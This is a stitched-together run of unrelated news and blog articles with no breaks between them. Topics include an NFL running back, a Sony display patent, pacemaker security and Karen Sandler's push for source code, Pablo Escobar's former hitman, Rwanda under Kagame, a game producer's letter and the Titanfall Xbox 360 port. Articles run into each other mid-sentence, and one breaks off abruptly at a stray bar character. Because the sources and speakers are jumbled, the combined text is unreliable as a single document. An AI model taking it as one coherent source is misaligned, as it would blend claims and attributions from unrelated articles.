Palin spokesman Tim Crawford did not immediately return TPM’s request for more information about the jury summons.Dion Lewis had spent his previous four months without a team before he arrived in Foxborough on New Year’s Eve.
It was then that the New England Patriots signed the former Pittsburgh Panthers standout to a reserve-futures contract, one that would keep him off the roster through the playoffs, but would bring him in for the offseason workout program and training camp.
The move has proved to be a low-risk, high-reward one for the Patriots since then.
Lewis has kept a locker inside Gillette Stadium well after the conclusion of camp, and the results have seen the 5-foot-7, 195-pound running back rank fourth in the league with 258 yards from scrimmage through two regular-season games.
The 2011 Philadelphia Eagles fifth-round pick hadn’t played in one since December of 2012.
Two years passed. Lewis had been a member of the Cleveland Browns and Indianapolis Colts, and had battled back from a fractured fibula and ligament damage. But the 24-year-old, who once broke the Big East freshman rushing record previously set by Tony Dorsett, has uncovered a landing spot on his once-promising road.
Only the Patriots hardly uncovered him.
“I mean, look, it wasn’t like Dion Lewis was a secret. We all saw him at Pittsburgh,” Patriots head coach Bill Belichick said Monday on WEEI's Dale & Holley. “He was scouted by us and by every other team.”
The Patriots did, however, have another set of eyes on the elusive ball-carrier.
Assistant to the coaching staff Michael Lombardi was familiar with Lewis from his time as the Browns’ general manager.
“I think the difference was that Mike spent some time with him when he was in Cleveland, and that was his evaluation and his opportunity to see the player was just better than mine or anybody else’s because we hadn’t seen him on an NFL roster doing things that NFL teams do very much,” Belichick said. “He saw more of it.”
What Lombardi saw was enough to warrant Lewis a contract.
“Again, at that point, as a reserve-futures signing, to compete for the 2015 season, it was really, pretty much a no brainer,” Belichick said. “He was a good player, a player that we liked coming out of college, a player that we felt like if he was healthy, which he wasn’t last year, that he would have an opportunity to compete for a spot on our team. So, that was really about the way it worked out.”
It has worked out thus far. Lewis has played the seventh-most snaps on New England’s offensive side of the ball through two weeks. He’s surpassed his previous career-bests in both rushing and receiving in the process.
He and defensive end Rufus Johnson now stand as the last remaining reserve-futures additions outside of the 2014 practice squad.
“It wasn’t really a big project, it was just trying to build your roster. But each one of those players that you sign, as you know, then that’s basically, probably one less player you would get after the draft in the college free-agent pool and so forth,” Belichick noted. “You have so many roster spots, you decide to use them on whoever you decide to use them on. But, in Dion’s case, we felt like he would be a good fit in our offense for the reasons that we’re seeing now.”
Lewis has averaged five yards per carry and 15 yards per catch for the Patriots, and he has also served as the primary kick returner. He’s been a multipurpose tool suited for a multipurpose team.
“He has versatility to run the ball, to catch it, he also returns kickoffs,” Belichick continued. “He can do some different things, and he’s done them pretty productively for us this year.”
Related: Dion Lewis knows 'if you work hard, anything's possible'Google won’t be the only company with a wearable computing glasses device as a patent filed by Sony reveals that it too is working on a similar device. A patent called the head-mounted display apparatus with patent number 20130069850 was recently seen and is a continuation of patent filed by the company in 2008 and 2009.
The device is described as “A head-mounted display apparatus includes an image display device, a wearing device with which the image display device is worn on a head of an observer, and an attachment member with which the image display device is attached to the wearing device. The attachment member is capable of adjusting a position of the image display device relative to the wearing device independently in a first direction and in a second direction, the first direction being defined by a virtual line connecting centers of eyes of the observer, the second direction being perpendicular to the first direction and extending vertically with respect to the observer.”
What makes Sony’s device different from Google Glasses is that the user will be able to view information on both eyes as compared to Google’s device where only one eye can view information.
Based on the prototype sketch we could see that there are ear buds mounted on the arms as well. The lenses are also movable which can be adjusted by the user to get the most comfortable fit. While little information is indicated in the patent we know that it will display 2D content.
Head-mounted displays is still a brand new market with Google already spearheading the way. The entry of Sony will definitely make it even more exciting. Sony is known to make some of the best displays in the world and they will bring their years of experience in creating their upcoming head-mounted display apparatus.
via uspto"Even before I started making a record I knew I wanted Tom Scharpling to direct a video for it. I'd seen the videos he did for the New Pornographers, Ted Leo, Wild Flag, John Hodgman and The Ettes etc... I thought they were really well put together. He had an ability to extract a lot more from a video than the budget would usually indicate.
We talked about the song "Charmer," how it was about people whose charm can become like a persona that then starts to block the person's real self. I definitely wanted something lighthearted and his concept did the perfect job of skirting the line between funny and still acting a bit as a metaphor for the more serious bits that are in the song. He came up with the idea of having a robot stand-in for me in the video, a perfect replica I could send out to do tours and signings and what-not so the me of the video could stay home and do other things. It's a funny idea because there really IS an element of having to having to craft a separate persona when you perform; you fight against it but it makes sense that it happens. I love this video concept because the idea completely falls apart when the robot double begins to do a better job than the original. Such are the pitfalls of relying on a persona! I think Scharpling did a great job, and honestly, it's a rare experience for me to have complete confidence in a video director. But he has great and funny and interesting ideas, and knows how to make things happen.
The biggest surprise was having Laura Linney agree to play the robot double. I had met her at a show of mine in NY a few years ago and just took a huge chance and got in touch with her. It is very hard to ask someone so talented to be a part of something so ridiculous. The miracle was that she was not only willing to do it, she was available and in NY. It goes without saying that she was terrific, but that she could put up with the sort of no-budget, 100-degree-heat, shooting-in-filthy-warehouses shenanigans we put her through with such good humor practically qualifies her for sainthood."Last week we reported on Twitter’s “quality filter” being introduced to the social network in order to combat “harassment” by hiding certain accounts. This week, users on the social network might have noticed that the setting has been turned on for everyone.
When Twitter uses phrases like “anti-harassment” and “quality filter,” it usually means someone is going to get censored, and that someone is usually a conservative. Twitter’s attempt to sneak in a new “quality filter” is part of the site’s tactics to marginalize and suppress conservative and libertarian voices on the platform. If you want to continue seeing content from different users, here’s how to remove it.
Step 1
Click on the “Notifications” tab at the top of your page.
Step 2
Click on the small button to the right that says “Settings.”
Step 3
Click the ticked box next to “Quality filter” and make sure that the box is then unchecked. Confirm the change by clicking the “Save changes” button below it afterwards.
You have now turned off Twitter’s “quality filter,” and your account should be back to how it was before.
Charlie Nash is a reporter for Breitbart Tech. You can follow him on Twitter @MrNashington or like his page at Facebook.Last week, the U.S. Food and Drug Administration threatened legal action against Abbott Laboratories after researchers demonstrated that some of its heart-monitoring devices were insecure and could be hacked.
It's not a new problem. The white hat hacker Barnaby Jack showed in 2011 how insulin pumps could be remotely hijacked by a hacker, and the lack of adequate cybersecurity regulations for medical devices has been well-documented.
But none of this has gotten Karen Sandler any closer to getting the source code for her pacemaker.
Sandler, an attorney and executive director of the Software Freedom Conservancy, has had an implantable cardioverter defibrillator or ICD — a defibrillator/pacemaker combo — inside her body since 2008. It makes sure she doesn’t die suddenly by maintaining something close to a natural heart rhythm. Naturally, Sandler wants to understand how it keeps her heart beating, so she spent years tracking down her ICD’s source code before actually getting one.
She approached the three major ICD manufacturers — Medtronic, St. Jude Medical, and Boston Scientific — to see the source code for the devices she might get implanted. “I asked each of them,” Sandler said in a talk at OSCON 2011, “‘Can I see the source code for these devices? I need one. I’m going to put it in my body. Can I look at it? Send me the source code, and I’ll take a look, and I’ll feel more comfortable connecting it to my heart if I know that I can review it and see how it works.’”
They all said no.
“Can I see the source code for these devices? I need one. I’m going to put it in my body. Can I look at it?”
“I mostly got a runaround,” Sandler said when I asked about what the manufacturers told her, and was given “more people to call who never called me back, leaving detailed messages with no reply.” She even offered to sign an non-disclosure agreement, but no dice. “One manufacturer employee told me there was no way it was going to happen.”
She finally had the device implanted two years after being told she needed one, because every day without it compounded the risk of heart failure. Almost 10 years later, she still hasn’t gotten a real look under the hood. So much time has passed that she is ready for a new ICD, and she still has no prospects for checking out the underlying code.
The typical ICD is a battery-powered device implanted under the skin that keeps track of heart rate. If it detects an abnormal rhythm, it delivers an electrical shock to return it to normal. tOlder ICD models interfaced with instruments via magnets, but the majority now use radio telemetry, which relies on a high-frequency wireless signal, Sandler said. This is good because it makes it pretty easy to get information from the devices, but it also creates a cybersecurity risk. The signal travels unencrypted over the airwaves, meaning someone who knew what they were doing could intercept or mimic it, allowing them to gain control of the device. The old method was more secure simply because it was more difficult to access.
What are the odds that someone would try to hijack a medical device? Maybe not so remote. Hackers have been targeting hospitals with ransomware, malware that locks a computer system until the owner pays up to regain access to it. Since lives are at risk, the hospitals have been paying up. If you seize control of someone's lifesaving device, it's a good incentive for them to give you money.
There is also the risk of more targeted attacks. Sandler is a public personality within the hacker scene. She works on issues around software freedom and diversity in tech, which can be controversial. People have targeted her with misinformation campaigns — spreading false information about her personally — as well as threatened her directly, she said.
“I’ve received some scary threats to my safety and well-being,” she said.“So making sure that I have a defibrillator that isn’t broadcasting — that isn’t vulnerable to attacks through the radio telemetry — became really important to me.”
Why do device makers continue to use radio telemetry given that its vulnerabilities are now widely known? Device makers declined or did not respond to questions from The Outline, but part of the answer may be the lack of precedent for such an attack. While it’s been proven time and time again that lax security on medical devices can be broken, it hasn't actually happened in the wild yet.
“I’ve received some scary threats to my safety and well-being.”
It also comes down to ease of use. Home monitors that check in with ICDs using radio telemetry can give patients peace of mind. Older devices weren’t as easy to “interrogate” — a term that boils down to grabbing information from them — as those with radio telemetry.
The range of devices vary, but Sandler said that a nurse practitioner can commonly still remotely sense devices of patients who have left the room. While that may seem a bit Big Brother, there’s a practical application: Emergency response.
“If the EMT arrives and they know that there’s a defibrillator,” Sandler said, “they’re able to connect as they arrive instead of having to get all the way to the patient and interface with the device.” That’s time saved, which could mean lives saved.
There’s a common disconnect between doctors and the realities of how the implants work. Not every doctor is going to know about how code exploits happen, or whether one device is more vulnerable than another. Instead, according to Sandler, doctors will suggest whatever device with which they’re most familiar. Those devices that they’ve successfully implanted, that haven’t caused medical complications, and perform their function as intended. “Can someone hack this?” isn’t the first thing on a doctor’s mind. Since the doctor is the customer, that means device makers are not feeling the pressure to make devices more secure. That may change if a real device gets hacked, but for now it's still theoretical — and introducing more security isn't simple.
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“A huge part of these devices is that they’re only good as long as their battery lasts,” Sandler said. “Introducing any kind of real security could potentially run down the battery. It’s not such a straight line. For example, these devices aren’t even password protected.”
There are manufacturers out there making efforts to address security issues with medical devices, however.
Last year, Johnson & Johnson alerted customers to an exploit discovered by security researcher Jay Radcliffe in the J&J Animas OneTouch Ping insulin pump. Radcliffe, a diabetic himself who once used the pump, had found a way to trick it into thinking it was receiving directions from its wireless control, which would allow hackers to inject insulin whenever they liked. He worked directly with Animas for months after alerting the company to the vulnerabilities, which then led to the public disclosure.
“This is where I have hope,” Sandler said of the incident. “This is where things I think have improved in this small way.” The company worked with Radcliffe to address the problem directly rather than mostly ignoring it. “It’s the first time that I’m aware of of a device manufacturer owning up to this problem, owning up to the vulnerability and addressing it in a public way immediately,” Sandler continued. “And the sky didn’t fall!”
This is a meaningful development for Sandler because it offers a recent example of where working with security researchers actually benefitted the company. It also appears that the FDA has gotten more serious about cybersecurity in recent months, issuing new guidelines and performing stricter inspections. It doesn’t mean she’s going to get the source code tomorrow, or convince manufacturers to offer communication options in their devices, but they are more likely to listen when they know it’s worked in the past.
Sandler plans to keep looking for a device that does not use radio telemetry. But she has other reasons to be optimistic. The Library of Congress approved a copyright rule exemption in 2015, thanks to litigation instigated in part by Sandler, that allows for independent security research without legal repercussions from device makers. In the past, companies had been known to attack researchers who exposed flaws with their hardware or code.
“Over time, more and more of us will be cyborgs,” Sandler said. “Understanding that there are ethical components to our software, and making sure that we’ve got the appropriate oversight is important for the moment that you realize your life needs to rely on this device.”A FORMER hitman for Colombian drug overlord Pablo Escobar has claims to have left his old life of violence and murder behind him by beginning a YouTube channel.
Assassin John Jair Velasquez Vasquez – nicknamed Popeye by Escobar – was released from jail three years ago after 23 years behind bars for more than 300 killings. Now the straight-shooting hitman says his frankness and directness have made him more popular in the country than any politician. He explained in an interview with local media: "Being a celebrity, a celebrity murderer, in the Colombian Republic is an honour compared to the politicians we have now. "I had the biggest professor of crime in the world, Pablo Escobar." Popeye added: "Every day politicians steal from the whole country and talk in public about corruption. That is why a person like me is respected in the city."
CEN/GETTY/NC STAR QUALITY: Pablo Escobar's former hitman, known as Popeye, has started a YouTube channel
The one-time enforcer has clocked up a bestselling book on his extraordinary career and a series of YouTube documentaries about his life. He has an army of followers on social media, despite some criticism that he glorifies his past life of crime. Popeye hit back saying that Colombian society is only too keen to suck up to foreign stars like Tom Cruise when they visit the country to make movies there. He said everybody "knelt in front of him" but "when it is Popeye who does it, then he is criticised”.
VIMEO OLD FRIENDS: Popeye worked closely with the famed drug baron
“Being a a celebrity murderer is an honour compared to the politicians we have now” Popeye Popeye describes himself on social media as a "former criminal in search of a new opportunity in society. Political activist and defender of human rights”. His book “Popeye the Hitman: 23 years and 3 months in prison” became a bestseller across the country. Rusty Young, star of recently-released documentary Wildlands, met the crazed killer during filming, describing the chilling encounter exclusively to Daily Star Online. “I was kinda scared because I’d never met him,” Young said.
Pablo Escobar in pictures The powerful Pablo Escobar was a Colombian drug lord and drug trafficker 1 / 8On last night's Exiled, the absolutely worst Super Sweet 16 brat thus far, Chelsi, was shipped off to the most punishing locale weather wise thus far. It's one thing to shovel elephant dung and carry jugs of water in warm climates like those in Thailand and Africa. It's totally different to be in danger of getting frostbite while freezing your ass off in the frozen tundra of the Arctic Circle. Chelsi, an 18-year-old girl who doesn't do her own laundry, her own hair, or know how to pack her own suitcase, was sent to live in a teepee and herd reindeer with a Norwegian family. And while she certainly bitched and moaned a bunch once she was in the cold, some of her more ridiculous behavior happened before she even left home. Clip above.KUALA LUMPUR, Malaysia — The United States has reached a 10-year agreement with the Philippines that will give American warships, planes and troops greater access to bases in the archipelago, American officials said Sunday.
The deal, which will be the centerpiece of President Obama’s visit to the Philippines on Monday, returns the United States to a visible presence in the country for the first time since the American military gave up its sprawling naval and air bases, including one at Subic Bay, in 1992.
The accord will also give the United States more flexibility to project its military assets in a region that has become increasingly tense, with China and its neighbors, including the Philippines, squabbling over territorial claims in the East and South China Seas.
Still, administration officials said the deal was not intended to contain China.
“We’re not doing this because of China,” said Evan Medeiros, senior director for Asian affairs at the National Security Council. “We’re doing this because we have a longstanding alliance partner.”Although I estimate an entrepreneur needs to make at least 35% more to replicate his or her day job income to run in place, I’m truly beginning to realize after two and a half years how much more upside there is to entrepreneurship than to working for someone else.
I came from the world of banking where 23 year old graduates with one year of experience can clear $100,000 no problem. Despite ascending from Financial Analyst, to Associate, to VP, to Director within 10 years, and earning Director level compensation for three years before leaving, I still wasn’t able to earn and save enough money to buy my dream home in Kahala, Oahu.
The above is a picture of me sitting on a lanai, looking down the southeast coast of Oahu towards Koko Head. The home is on Blackpoint Road in the exclusive Kahala/Diamond Head neighborhood. Since I was a kid, I’ve always dreamed about living here one day. But I’ve come to realize my childhood dream will likely never come true.
The asking price for this 6,000 sqft Kahala home with 4 bedrooms and 4 bathrooms is $3.5 million ($583/sqft). The lower level is a 1,800 sqft rental apartment that is going for a below market rate rent of $2,500 a month. The main house is therefore not that huge. $3.5 million is actually great value given the view and the size of the house. Other houses in Kahala are easily asking for $900/sqft or more.
If I had $4 million cash, I would buy this house in a heartbeat. It needs at least $300,000 in renovations given it is quite dated. But the lanai and the spectacular view are priceless. All I think about when I’m looking for my dream home is being able to sit outside in 72-85 degree weather with an ice cold beer and write about various adventures.
CALCULATING HOW LONG IT TAKES TO AFFORD A DREAM HOME
Everybody’s dream home and desires are different. I just use a home as an example because it is almost always the biggest ticket item people want to purchase. I personally don’t give a crap about driving a fancy car anymore. If I did, I wouldn’t be rolling in a Honda Fit, baby.
As I was sitting on the lanai, pitying myself for not being able to afford such an amazing property, I began to calculate whether other occupations could allow people to afford this home. Shaking my head, I realized it’s almost impossible for even some of the most well-paid worker bees.
Here’s how long it would take a person who joins an investment bank right out of undergrad to save up $4 million dollars assuming steady promotions and pay raises, 25 years of surviving economic cycles, and consistently saving 50% of his or her income without fail.
A Banker’s Financial Path
As you can see from the chart, it would take this top 1% income earner roughly 24 years to accumulate $4 million dollars, assuming no loss or gains in the market. If the banker were to pay 100% cash, then clearly s/he would have to work at least a couple more years after age 46 in order to have a cash cushion. But let’s say the banker has no problems taking out a $2 million mortgage for the home = ~$10,000 a month PMI mortgage at 3.5%. The banker could put down roughly $2 million at age 40, have a $500,000 cushion and carry a $2 million mortgage.
Some of you in banking may look at my total compensation figures and find them to be conservative. But how many of you know bankers who last for more than 20 years? The cyclical downturns in finance are vicious (income gets cut in half at age 36), and plenty of people top out in the mid-six figures with the structural decline in compensation due to government oversight and declining profitability. Furthermore, only a minority of people save 50% of their after-tax income, even at these levels.
Meanwhile, most of you are probably thinking the total compensation figures are absurdly high in my chart. I would have to agree. There’s no other industry that I know that pays as well of a salary. Just think about this for a moment. You enter the highest paying industry out of college and have to save 50% of your after tax income every year for almost 20 years just to be able to get a $2 million dollar mortgage that will force you to work at least another 5 years at the very least if you want to own your dream house. No wonder why people can’t break free from the golden handcuffs!
A Techie’s Financial Path
I’ve been fortunate to experience the techie world for the past 12 months through my consulting gig. I’ve been to numerous tech happy hours and conferences, and I’ve read a ton about tech compensation and stock options as well. Here’s a sample income chart of a typical techie in San Francisco. They don’t make as much as bankers, but they have a lot of company perks and elusive stock options to keep their hopes alive. Let it be known that for the majority of tech workers, there is never a liquidity event. Tech workers also tend to jump ship every three years, which means they never get to fully vest their options either.
Based on my chart, a techie could potentially afford my dream home at the age of 44 by dumping all s/he has (~$2 million) into a downpayment and taking out a $1.8 million mortgage. Unfortunately, she will be sweating bullets every month because she’s only taking home roughly $90,000 after tax a year based on a 50% savings rate, which is equivalent to $7,500 a month. A $1.8 million mortgage costs around $9,000 a month! As a result, she’ll have to lower her savings rate to 0% in order to eat.
The more realistic age when this techie can more comfortably afford a $3.8 million dollar Kahala dream home is closer to 50 years old. Her semi-liquid net worth will be around $4.2 – $5 million by then. But then again, dumping 70-90% of her net worth in a dream home might not be the wisest move. Personally, I don’t recommend having more than 40% of one’s net worth in property. Read this post if you want to know what my net worth allocation splits should be.
I’m actually surprised by how little techies earn given their skill set. Plenty of them are frustrated they can’t even comfortably afford a median $1.1 million home in San Francisco. Plus, we only tend to hear about the massive tech wins. The losers are just left for dead or brushed under the carpet.
A Good Doctor’s Financial Path
I feel kind of sorry for doctors. When they first entered medical school 15 years ago they were promised a much higher salary than they are receiving now. For example, my friend who has a post fellowship from Cornell Medical will be making roughly $200,000 as a cardiologist at 36 years old. When he entered medical school in 2001, he was expecting to make $300,000 – $400,000 to start!
For three years he made $40,000 – $50,000 a year as a resident after four years of medical school, and $60,000 – $75,000 a year as a fellow for the next three years after that. Luckily for him, his parents paid for all his medical school tuition. The median education debt was $170,000 in 2012, and surely higher today according to data from the Association of American Medical Colleges.
The good doctor will be able to comfortably buy my dream home when he’s roughly 50 years old. He’ll put down $2 million, take out a $1.8 million mortgage, and have $854,850 in liquidity or various investments. That’s 50 years old folks. Several of us won’t even live until that age! Because a big mortgage has been taken, the doctor will need to work for another 5 years to feel comfortable. If he wanted to pay for the home in cash, he could potentially get there around 53, but have nothing left.
I’m being very gregarious with my total compensation assumptions for doctors. Doctor’s salaries have done nothing but go down thanks to big government and difficult insurance companies. I doubt most doctors will ever make $1 million a year anymore, let alone $700,000. But I’ve thrown the figures in my chart anyway since this is one very special cardiologist.
CHANGE YOUR EXPECTATIONS
Who knows what homes will cost 15-30 years from now. If a $3.8 million dollar home rises with inflation at 2% a year, that’s $76,000 every year. But even during your best income years at $300,000 for a techie, your salary isn’t going to go up by 25% a year to keep up. You’ve got to be making more than $700,000 a year to keep up with a $76,000 annual increase. Hopefully most bankers, techies, and doctors have more than my chart’s estimates given I provide zero growth rates for savings. But I’m doubtful since life gets in the way all the time.
One obvious solution to finding your dream home is to change your parameters. If you’re willing to sacrifice on size, location, food, and weather, surely you’ll be able to find a dream home somewhere in America for under $2 million. At $2 million, the banker above can achieve his dream at age 35, and the techie and doctor above can achieve their dream home by age 40. At a $1 million price tag, both banker and techie can buy their dream homes by age 30.
The problem with finding a dream home somewhere else is the labor market. High paying jobs are usually located in expensive, urban cities. The exception is Hawaii where there are very few high-paying jobs, yet luxury housing |
, minister of defence, general of the army, and the one who took important meetings with foreign heads of state. Bizimungu proved obstinate, greedy and ambitious. In 2000, having resigned while drunk in public, he was then arrested and sentenced to 15 years for divisionism. The crime was committed in a magazine interview, in which Bizimungu predicted Hutu violence and civil war unless the RPF started sharing power in a genuine way.
Kagame assumed the presidency. He started devouring books about Singapore, South Korea, China and the other 'Asian Tigers’, which had managed to leap out of poverty in less than a generation by means of disciplined, authoritarian leadership and entrepreneurial capitalism. Rwanda is a small, landlocked, overpopulated country with few natural resources, and long, expensive trade routes. How was it going to develop? Kagame announced an ambitious plan to turn Rwanda into the high-tech commercial, banking and communications hub of east and central Africa by 2020.
The region is rich in resources, especially Congo, but it has been crippled by corruption, inefficiency, political instability, poverty, disease and ignorance. Kagame’s government began tackling these problems with a harsh, bullying, unwavering determination entirely new to the region. Government employees were required to be at their desks by 7am, and quickly fired if they didn’t produce results. The anti-corruption tsar was given real power, and used it zealously. The rebuilding of Rwanda’s infrastructure and institutions, especially in health and education, has been largely financed by foreign aid, which provided 100 per cent of the government’s budget in the immediate aftermath of the genocide, and is now at 42 per cent. Kagame wants to reduce Rwanda’s dependency on aid, regarding it as a trap that stifles entrepreneurship and dignity, but it has been integral to his progress so far, and for the donors Rwanda has been a rare success story. Here at last is an African government that doesn’t embezzle or squander the money, but uses it efficiently and gets results.
The government has also been effective at courting influential friends abroad (Clinton, Blair et al), and bringing in foreign investment, mainly from America and China. The World Bank has named Rwanda the top business reformer in the world, and the region’s most business-friendly country. The coffee business is booming, thanks in no small part to Starbucks, and tourism, unimaginable after the genocide, has grown into a $200 million a year industry. Another important part of the Rwandan economic miracle, but hard to measure, has been the secret flow of illegal minerals from Congo.
The other African countries involved have plundered minerals for the personal enrichment of a few individuals, with the profits banked in Switzerland or London. In Rwanda’s case, the mineral wealth appears to have been funnelled through government channels, with most of it spent on the military, and the rest of it helping to finance Kagame’s vision of an African Singapore.
The dream is still a long way from coming true. In Kigali there is a prosperous elite, most of them Tutsis returned from the diaspora, and an emerging middle class, but nine out of 10 Rwandans are still subsistence farmers. Hope rests on the generation currently in school, who are growing up with laptops and the internet, speaking English, and moving towards the universities and the new technical colleges. Rwandese society has always encouraged obedience to power (this is one reason why so many Hutus followed their orders to kill Tutsis), and younger Rwandans are being pounded with exhortations to study hard, work hard, take responsibility, be entrepreneurs.
No one is watching the Rwanda experiment more closely than other Africans. Kagame is widely admired and respected on the continent, and considered a shoo-in for the presidency of the African Union if he ever wants the job. But the Rwanda model is not easily replicated. It requires a Kagame, and men like Kagame do not come along often. There has never been a shortage of autocrats in Africa, but very few of them have been so driven and determined to better their countries, and most have concentrated on enriching themselves and shoring up their power with patronage. Kagame has shown Africa that strong leadership can turn a country around, and that a strong leader shows no quarter to his opponents.
He faced his first presidential election in 2003. Opposition candidates proved hard to find because the likeliest were either in prison, dead or had fled the country. Finally the former prime minister, a Hutu named Faustin Twagiramungu, returned from exile, announced his candidacy and made a speech accusing Kagame of running a dictatorship. The majority-female parliament promptly voted to ban his political party. Twagiramungu persevered, even after two of his most prominent supporters disappeared without trace, and Kagame won 95 per cent of the vote. He insists it was a free and fair election, saying, 'You cannot blame me for the weakness of the opposition.’
Now he has another election on August 9. The government has closed down two critical newspapers, and arrested a journalist for defamation (he compared Kagame with Hitler) and divisionism. A dissident general has survived an assassination attempt in South Africa, and a newspaper editor who linked it to the Rwandan government was murdered in Kigali. Two opposition parties have been prevented from registering, and the vice-president of one, Andre Kagwa Rwisereka of the Democratic Greens, has turned up dead from machete wounds. Political rallies have been been broken up violently by the police, and two Hutu opposition candidates have been arrested, one for divisionism, the other, Victoire Ingabire, for the Orwellian crime of 'genocide ideology’.
Ingabire had been living in Belgium. On returning to Rwanda to announce her candidacy, she went straight to the genocide memorial in Kigali and asked why there was no memorial for the moderate Hutus who were killed – her brother was one of them. She was announcing herself, in RPF eyes, as a Hutu candidate, and challenging the government version of the genocide, which is a strict morality play involving Hutu villains, Tutsi victims and RPF heroes. To raise questions about the RPF atrocities against Hutus, or draw attention to the moderate Hutus who were killed, is equated under the law with denying or diminishing the genocide.
All in all, it seems a foregone conclusion that Kagame will win re-election and remain in power for at least another seven years. Then comes the big question. Will he abide by the Rwandan constitution, which limits presidents to two terms? Or will he devise a reason to hold on to power for longer? Kagame insists he will step down, and says that if there is no peaceful democratic transfer of power in 2017, his presidency will have been a failure. He insists that Rwanda will become an increasingly open and democratic society, but not to impress the international community, or because meddlesome foreigners are demanding it. 'No,’ he says, 'we must do it because fundamentally we believe in it, because these values are universal and we share them, and because it is good for us.’
Is this deceitful rhetoric, or does he really intend to open up political space once development has got further, as the donors and many Rwandans would like to believe? Is Kagame a benevolent dictator, the strong hand needed to pull Rwanda forward into a better future, or is he an incurable despot? If you hold him up to the light in the right way, you can see both facets glinting at once.Hi everyone,
With the launch of the Relics of the Gree event behind us, I wanted to take this opportunity to talk about the general state of the game and the launch of our Free-to-Play option.
Judging by the conversation in the forums and elsewhere, there appears to be a level of curiosity among many players to learn how things are going at the studio since the launch of the Free-to-Play option. Of course, that’s natural. We’re now about 120 days post-launch and more than 5 months into our new series of content updates, so we’re just starting to get a feel for it ourselves. In our commitment to improve the overall player experience, it’s important to reflect on all of the changes that we have made since last year.
Last spring, there was some uncertainty surrounding Star Wars™: The Old Republic™ as we were starting to lose subscribers and players were growing frustrated. In fairness, many of the complaints and worries were justified. In an effort to try to address everything, we just weren’t sufficiently focused on improving the core experience.
At the end of the summer, we announced that were going to make the game more enjoyable than ever before by working to improve three key aspects of the game: making it easier to find friends to play with (via Group Finder), increasing the cadence of our content updates (so players wouldn’t have to wait around for new stuff), and bringing back vitality to the game by reaching out to new players via a Free-to-Play option. In addition we introduced some cool new items for everyone to check out via the Cartel Market.
So how did it go? Well, you can see for yourself when you log in to the game. Our new, high capacity servers are teeming with people. Since launch of the Free-to-Play option we have had over 2 million new accounts created and have thousands of new players jumping in every single day. This means more people to play with, more growth for your guilds, more Warzone matches, and more ways for players to continue to advance their characters.
Even though there’s bound to be dissent about every aspect of MMOs on the internet these days, player feedback, in general, has been very positive about the new things in the game. We’re committed to continuing our 8-week new content cadence, and are looking forward to the launch of the first Digital Expansion: Rise of the Hutt Cartel this spring.
And I’m happy to announce that we’ll be introducing several new features along the way, like a new customization feature, which will allow you to change your character's hair style, eye color, body type, or even species (including the upcoming Cathar!) using Cartel Coins. Look for it in early summer.
We know that there are still a lot of things we need to do to make playing Star Wars: The Old Republic the best experience it can be. We hear you on features such as hood toggle (as one example of many), Asia Pacific server populations (we are actively looking into solutions that make the most sense given our current tech and should have an announcement soon), continued improvement to the Cartel Market pricing and content, and the need to keep working on performance improvements and bugs. In fact, our major focus after Rise of the Hutt Cartel launches is going to be on "quality of life" improvements. We will keep at it, I promise. We’ll keep listening to your feedback and continue to dedicate ourselves to making the game the best it can be. Nothing is more important to us than getting it right.
Thanks for your continued support and see you on Makeb!
-Jeff Hickman
Executive Producer, Star Wars: The Old RepublicDigital Foundry talks to Bluepoint Games on how the Respawn epic made its way onto last-gen hardware.
Having brought games like God of War, Metal Gear, Ico and Shadow of the Colossus from PS2 to last-gen consoles, Bluepoint Games has established itself as the go-to studio for high-quality HD remasters. But its latest project is something entirely different: Titanfall - a next-gen console title built without last-gen hardware in mind - has effectively been demastered to run on Xbox 360. We've covered the last-gen version extensively over the week, and it's safe to say that we're impressed. Bluepoint appears to have made the best possible trades in porting the Xbox One/PC codebase over to the 360, retaining the core gameplay, the low-latency controls and the bulk of the game's audio-visuals. What's clear is that there's a fascinating technological tale to tell here. We wanted to know how Bluepoint got the job, how it managed to squeeze a 5GB game into just 512MB of memory, how the project was managed alongside the Xbox One and PC versions, and the ways in which the game was adapted to cope on the older hardware. It took 40 development staff 15 months to bring Titanfall to Xbox 360. Their story demands to be told. In this piece, Bluepoint Games president Andy O'Neil talks us through the project with the immense level of detail Digital Foundry just loves to bring you. Digital Foundry: So, how has it felt to be keepers of the biggest secret in gaming over the last few months? Andy O'Neil: Very scary! This was the hardest project Bluepoint's ever done, and super high profile too. We really didn't want to screw this one up! In the end though, it basically comes down to getting your head down, avoid the shiny distractions and produce the best job you possibly can. Digital Foundry: Can you talk to us about how you originally got the assignment? Andy O'Neil: We had a mysterious meeting scheduled with EAP at GDC March 2012. Wow, that was a long time ago! They wouldn't say what the project was before the meeting, but that it was a big deal. "This was the hardest project Bluepoint's ever done, and super high profile too. We really didn't want to screw this one up!" The meeting was in a suite at the fancy Four Seasons hotel in San Francisco, and I remember being pretty nervous and talking too much, though that might have been too much coffee! It must have gone OK though, as a few weeks later we were off to talk to the Respawn engineers in LA about the project. Cue another nervous meeting (where I definitely drank too much coffee!) where we discussed how BP was going to fit 5GB of assets into 500MB on the X360. I think the general response from Earl and Richard was along the lines of a positive, 'Sounds like you guys know what you're talking about' and, 'Well, we don't think it's really doable on 360, but yeah, good luck with that.' Got the gig though! Digital Foundry: Originally Respawn planned for a cross-generational release, targeting Source owing to its PS3 performance. Did any of that initial work help you with the 360 port or did you literally start from scratch? Andy O'Neil: No. Well, now I think about it... actually, it's still no. [Laughs] I'm selling the Source Engine a bit short here, it's got a lot of cross-platform support, and we definitely didn't start from scratch on the 360 port. The modified version of Source that Respawn are using did run at one point on the Xbox 360, but the DX9 code path was pretty knackered by the time we got to it. All the 360 rendering code was still there, disabled, along with the fundamental stuff you need to get something running cross-platform. It was basically a heavily modified version of the Portal 2 codebase that just ran on high-spec PCs. Things started getting interesting when we finally got the thing to compile and boot on Xbox 360 with the realisation that half of our memory was gone without loading any models, textures or maps!
